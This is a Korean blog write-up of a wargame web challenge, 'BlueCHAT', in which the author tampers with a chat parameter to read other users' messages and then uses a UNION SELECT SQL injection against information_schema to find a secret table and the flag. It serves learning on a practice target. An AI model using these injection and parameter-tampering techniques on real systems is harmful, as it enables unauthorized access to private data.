Hacking/Wargame

Wargame ) Web Chatting

proggg 2020. 7. 11. 16:48

function getchatlog(type){
  xmlhttp = new XMLHttpRequest();
  if(type==0){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
  }else if(type==1){xmlhttp.onreadystatechange=chatprint;xmlhttp.open("GET","chatview.php?t=1&ni="+ni + " union select 1,table_name,3,4,5 from information_schema.tables--");}
  xmlhttp.send(null);
 }

๊ฐ„๋‹จํ•œ SQL Injection ์ด๋ž€๋‹ค. ๊ทธ๋ฆฌ๊ณ  ํŠธ๋ž˜ํ”ฝ์„ ์ค„์ด๊ธฐ ์œ„ํ•ด ํ•  ์ˆ˜ ์žˆ๋Š”๊ฒŒ ๋ฌด์—‡์ด ์žˆ๋Š”์ง€ ๋ฌผ์–ด๋ณด๋Š” ๊ฒƒ ๊ฐ™๋‹ค. on developer's perspective.

 

ID ๋ฅผ ์ž…๋ ฅํ•œ ํ›„์— ์ฑ„ํŒ… ์„œ๋น„์Šค๋กœ ์—ฐ๊ฒฐ์ด ๋œ๋‹ค. ์ด๊ณณ์—์„œ ์–ด๋–ค SQL ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•  ์ˆ˜๋Š” ์—†์—ˆ๋‹ค. db table ์— ๊ด€ํ•ด์„œ ์–ด๋–ค ์ •๋ณด๋„ ์—†์—ˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๋กœ๊ทธ์ธ ํ•œ ํ›„ ์ฑ„ํŒ…์„œ๋น„์Šค์— ์ ‘๊ทผํ•˜๋„๋ก ํ•˜๊ฒ ๋‹ค.

 

์ด๋Ÿฐ UI์— ์—ญ์‹œ ๋‹จ์ˆœํ•œ Injection ์€ ์‹คํ–‰๋˜์ง€ ์•Š์•˜๋‹ค. ๊ฐœ๋ฐœ์ž ๋ชจ๋“œ๋กœ ์†Œ์Šค๋ฅผ ์‚ดํŽด๋ณด๋‹ˆ ๋‹ค์Œ๊ณผ ๊ฐ™์€ JS ๊ฐ€ ๋ณด์˜€๋‹ค,

<style>
 textarea {padding-left:10px; font-size:15px; font-family:verdana;}
 body {background-color:#aaa;}
</style>
<script src="./blueh4g_js.js"></script>
<script>
 var xmlhttp,ni,iq=0,brtype=1;
 function getchatlog(type){
  xmlhttp = new XMLHttpRequest();
  if(type==1){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
  }else if(type==2){xmlhttp.onreadystatechange=chatprint;xmlhttp.open("GET","chatview.php?t=1&ni="+ni);}
  xmlhttp.send(null);
 }
 function chatprint(){
  if(xmlhttp.readyState==4 && xmlhttp.status==200){
   var temp=xmlhttp.responseText;
   if(brtype==2){cwifr.document.body.innerHTML+=temp;}else{cwifr.document.write(temp);}
   cwifr.document.body.scrollTop=cwifr.document.body.scrollHeight;
  }
 }
 function getni(){
  if(xmlhttp.readyState==4 && xmlhttp.status==200){
   var tni=parseInt(xmlhttp.responseText);
   if(tni!=ni && iq!=0){getchatlog(2);}
   ni=tni;iq=1;
  }
 }
 function sayf(f){
  var xmlhttp2 = new XMLHttpRequest();
  var pdata="chatlog.php?"+encodeURI("data="+f.saydata.value);
  xmlhttp2.open("GET",pdata);
  xmlhttp2.send(null);
  f.saydata.value="";
  f.saydata.focus();
  return false;
 }
 function init(){
  cwifr = document.getElementById("ifr").contentWindow;
  cwifr.document.body.style.backgroundColor="fff";
// cwifr.document.designMode="on";
  var temp=get_br_blue();
  if(temp=="CHR" || temp=="SAF"){brtype=2;}
  getchatlog(1);
  setInterval("getchatlog(1)",1000);
  document.getElementById("firstf").focus();
 }
</script>
<body onload="init();" style="text-align:center;">
<form method="post" action="chatlog.php" onsubmit="return sayf(this);">
<table align=center>
<tr><td>
<h3>[ BlueCHAT v0.9 ] - <span style="font-size:60%;">์›Œ๊ฒŒ์ž„์šฉ ์ฑ„ํŒ…์ด๋ผ ๋ฐ์ดํ„ฐ ๋ฆฌํ”„๋ ˆ์‰ฌ๋Š” ์ข€ ๋Š๋ฆฌ๊ฒŒ ํ•ด๋’€์Šต๋‹ˆ๋‹ค~</span></h3>
<iframe id="ifr" style="width:850px; height:500px;"></iframe>
</td></tr>
<tr><td align=center><input type="text" style="width:120px; text-align:center; font-weight:bold;" value="ใ…‡ใ„น" readonly><input type="text" name="saydata" style="width:500px" id="firstf"><input type="submit" value="say">&nbsp;&nbsp;&nbsp;<span style="font-size:9px; color:#000;">made by BlueH4G</span><input type="button" value="logout" onclick="window.location='./';"></td></tr>
</table>
</form>
</body>

 

๊ทธ๋ฆฌ๊ณ  ๋„คํŠธ์›Œํฌ์—๋Š” ์ง€์†์ ์œผ๋กœ 

chatlog.php ๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ  ์žˆ์—ˆ๋‹ค. ์–ด๋–ค ์ฟผ๋ฆฌ๋ฌธ์„ ํ†ตํ•ด ์ด๋Ÿฐ php ๊ฐ€ ๊ฐ€์ ธ์™€์ง€๋Š” ๊ฒƒ ๊ฐ™๋‹ค.

 

JS ์— ์žˆ๋Š” ์†Œ์Šค๋ฅผ ์‚ดํŽด๋ณด๋„๋ก ํ•˜๊ฒ ๋‹ค.

 

getchatlog ๋ผ๋Š” ํ•จ์ˆ˜์— GET ๋ฐฉ์‹์œผ๋กœ t ๋ณ€์ˆ˜์— 1 ์„ ๋„ฃ์–ด chatlog ๋ฅผ ์š”์ฒญํ•˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  getchatlog ์˜ ์ธ์ž์ธ type ์ด 2 ๋ผ๋ฉด GET ๋ฐฉ์‹์œผ๋กœ chatview.php ๋ผ๋Š” php ๋ฅผ t=1 ๋ณ€์ˆ˜ ๊ทธ๋ฆฌ๊ณ  ni ๋ผ๋Š” ์–ด๋–ค ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์š”์ฒญํ•˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค. Burpsuite ๋ฅผ ์ด์šฉํ•ด์„œ ํŒจํ‚ท์„ ์‚ดํŽด๋ณด๋„๋ก ํ•˜๊ฒ ๋‹ค.

 

์•„๊นŒ ๋ณด์•˜๋˜ php ์š”์ฒญ ํŒจํ‚ท์ด๋‹ค. type ๋ณ€์ˆ˜๋ฅผ 1์—์„œ 2๋กœ ๋ฐ”๊ฟ”์„œ ์š”์ฒญํ•  ํ•„์š”๊ฐ€ ์žˆ์„๊ฒƒ๊ฐ™๋‹ค.

 

ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ์ฝ˜์†”๋กœ ์ˆ˜์ •ํ•˜์—ฌ type 1 ์ผ๋•Œ chatview ๋ฅผ ์š”์ฒญํ•˜๋„๋ก ์ˆ˜์ •ํ•˜๊ฒ ๋‹ค.

 function getchatlog(type){
  xmlhttp = new XMLHttpRequest();
  if(type==0){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
  }else if(type==1){xmlhttp.onreadystatechange=chatprint;xmlhttp.open("GET","chatview.php?t=1&ni="+ni);}
  xmlhttp.send(null);
 }

์ด๋ ‡๊ฒŒ ์ˆ˜์ •ํ•˜๋ฉด ํŒจํ‚ท์—์„œ 

 

chatview ๋ฅผ ์š”์ฒญํ•œ ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ni ๋ผ๋Š” ๊ฐ’์€ 55940 ์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. ํ•˜์ง€๋งŒ ํŒจํ‚ท์— ์–ด๋–ค ๋ณ€์ˆ˜๋งŒ ๋ฐ”๋€Œ์—ˆ์„ ๋ฟ, UI ์— ๋ˆˆ์— ๋„๋Š” ๋ณ€ํ™”๋Š” ๋ณด์ด์ง€ ์•Š์•˜๋‹ค. 

 

์ฑ„ํŒ…์„ ์ž…๋ ฅํ•ด๋ณด๊ฒ ๋‹ค.

 

chatview.php ๋Š” ์ฑ„ํŒ…๊ธฐ๋ก์„ ๋ณด์—ฌ์ฃผ๋Š” ๋“ฏ ํ•˜๋‹ค. ๊ทธ ์™ธ์—๋Š” ์–ด๋–ค ๋‹ค๋ฅธ๊ฒƒ์ด ๋ณด์ด์ง„ ์•Š์•˜๋‹ค. ํŽ˜์ด์ง€ ์†Œ์Šค๋ฅผ ๋‹ค์‹œํ•œ๋ฒˆ ์‚ดํŽด๋ณด์•„์•ผ๊ฒ ๋‹ค. ํŽ˜์ด์ง€ ์†Œ์Šค์—๋„ '55940' ์ด๋ผ๋Š” ๊ฐ’ ๋ง๊ณ ๋Š” ๋‹ค๋ฅธ๊ฒƒ์ด ์—†๋‹ค. ๊ทธ๋ ‡๋‹ค 55940 ์€ ํŒจํ‚ท์—์„œ ์š”์ฒญํ•˜๋˜ ni ๋ณ€์ˆ˜์˜ ๊ฐ’์ด๋‹ค. 

 

๊ทธ๋ฆฌ๊ณ  ๋‚ด๊ฐ€ ์ž…๋ ฅํ–ˆ๋˜ ๊ฐ’์ด ๊ณ„์† load ๋˜๊ณ  ์žˆ๋Š”๊ฑฐ๋กœ ๋ณด์•„, ni ๊ฐ’์ด ๋‚˜์˜ ์ฑ„ํŒ… ๋‚ด์—ญ์— ๊ด€ํ•ด์„œ ์–ด๋–ค ์ •๋ณด๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ๊ฒƒ ์ฒ˜๋Ÿผ ๋ณด์ธ๋‹ค. 

ni ๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ๋ณด๋‚ด๋ณด๋„๋ก ํ•˜๊ฒ ๋‹ค.

 

55940 -> 55941 ๋กœ ๋ฐ”๊พธ์—ˆ๋‹ค.

 

๋งˆ์ง€๋ง‰์œผ๋กœ ์ž…๋ ฅํ–ˆ๋˜ ์ฑ„ํŒ…์ด ์—ฌ๋Ÿฌ๊ฐœ ๋ณด์—ฌ์ง„๋‹ค. ๊ณ„์† ๋ฐ”๊พธ์–ด๋ณด๊ฒ ๋‹ค.

 

TEST ๋ผ๋Š” ์ƒˆ๋กœ์šด ๋ฌธ์ž๋ฅผ ์ฑ„ํŒ… ์„œ๋ฒ„์— ๋ณด๋‚ด๊ณ  ni ๋ฅผ 55940 -> 55939 ๋กœ ๋ฐ”๊พธ์—ˆ๋”๋‹ˆ

๋‹ค๋ฅธ ์‚ฌ๋žŒ์˜ ์ฑ„ํŒ…์ด ๋ณด์—ฌ์ง„๋‹ค. ni ๋Š” user ์˜ id ๊ฐ™์€ ์—ญํ• ์„ ํ–ˆ์„ ๊ฒƒ์ด๋‹ค.

 

๊ทธ๋ ‡๋‹ค๋ฉด ํ•ด๋‹น ์ฟผ๋ฆฌ๋Š” select <์ฑ„ํŒ…๋‚ด์—ญ > from < table name > where ni = 55940 ; ์ด๋Ÿฐ์‹์ด ๋  ๊ฒƒ์ด๋‹ค.  ๊ทธ๋ ‡๋‹ค๋ฉด ni ๊ฐ’์„ ์กฐ์ž‘ํ•จ์œผ๋กœ์จ ๋‹ค๋ฅธ ์œ ์ €์˜ ์ฑ„ํŒ… ๋กœ๊ทธ๋ฅผ ๊ฐ€์ ธ์™”์œผ๋‹ˆ '์ทจ์•ฝํ•œ ์ธ์ฆ' ์— ํ•ด๋‹นํ•˜๋Š” ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ–ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ด ni ๋ณ€์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ ์ธ์ ์…˜์„ ์‹œ๋„ํ•ด๋ณด๊ฒ ๋‹ค.

 

์ฟผ๋ฆฌ๋ฅผ ๋ณด๋‚ด๋ณด๊ฒ ๋‹ค.

 

packet ์„ ์ด์šฉํ•ด์„œ๋Š” ์•ˆ๋˜๊ธธ๋ž˜ ๊ทธ๋ƒฅ ํ•จ์ˆ˜๋ฅผ ๊ณ ์ณ์„œ ๋ธŒ๋ผ์šฐ์ € ์•Œ์•„์„œ ์ธ์ฝ”๋”ฉํ•˜๋„๋ก ํ–ˆ๋‹ค.

 

function getchatlog(type){
  xmlhttp = new XMLHttpRequest();
  if(type==0){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
  }else if(type==1){xmlhttp.onreadystatechange=chatprint;xmlhttp.open
  ("GET","chatview.php?t=1&ni="+ni + " union select 1,table_name,3,4,5 from information_schema.tables--");}
  xmlhttp.send(null);
 }

 

์ด๋ ‡๊ฒŒ ํ•จ์ˆ˜๋ฅผ ์ˆ˜์ •ํ•ด์„œ ๋ณด๋ƒˆ๋”๋‹ˆ

 



์ด๋Ÿฐ ํ…Œ์ด๋ธ”๋“ค์ด ๋‚˜์™”๋‹ค.

 

secret ์ด๋ผ๊ณ  ํ•˜๋ฉด ๊ดœํžˆ ๋ณด๊ณ ์‹ถ์–ด์ง„๋‹ค. ์‚ฌ์‹ค ์ €๊ฒŒ ์ œ์ผ ์ˆ˜์ƒํ•˜๋‹ค. select ๋ฌธ์„ ๋‹ค์‹œ ์ˆ˜์ •ํ•ด์„œ chat_log_secret ์„ ์กฐํšŒํ•ด๋ณด๊ฒ ๋‹ค.

ํ•ด๋‹น ํ…Œ์ด๋ธ”์„ ์กฐํšŒํ•˜์—ฌ, ์ง์ ‘ ์ ‘๊ทผํ–ˆ๋”๋‹ˆ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋‚˜์™”๋‹ค.

 

 

์ด ๋ฌธ์ œ๋ฅผ ํ‘ธ๋Š”๋ฐ ํ…Œ์ด๋ธ”๊ณผ ์ปฌ๋Ÿผ ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ค๋Š”๋ฐ ์˜ค๋ฒ„ํ—ค๋“œ๊ฐ€ ๋„ˆ๋ฌด ์‹ฌํ•ด์„œ type ์„ ๊ฐ•์ œ๋กœ ๋ฐ”๊ฟ”์„œ chatview ์— ์ ‘๊ทผํ•˜๋Š”๊ฒƒ์€ ์ถ”์ฒœํ•˜์ง€ ์•Š๋Š”๋‹ค...

 

'Hacking > Wargame' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

Wargame ) pyc decompile  (0) 2020.07.13
Wargame ) EASY_Crackme  (0) 2020.07.12
Wargame ) Type Confusion  (0) 2020.07.09
Wargame ) tmitter  (0) 2020.07.09
Wargame ) Fly me to the moon  (0) 2020.07.07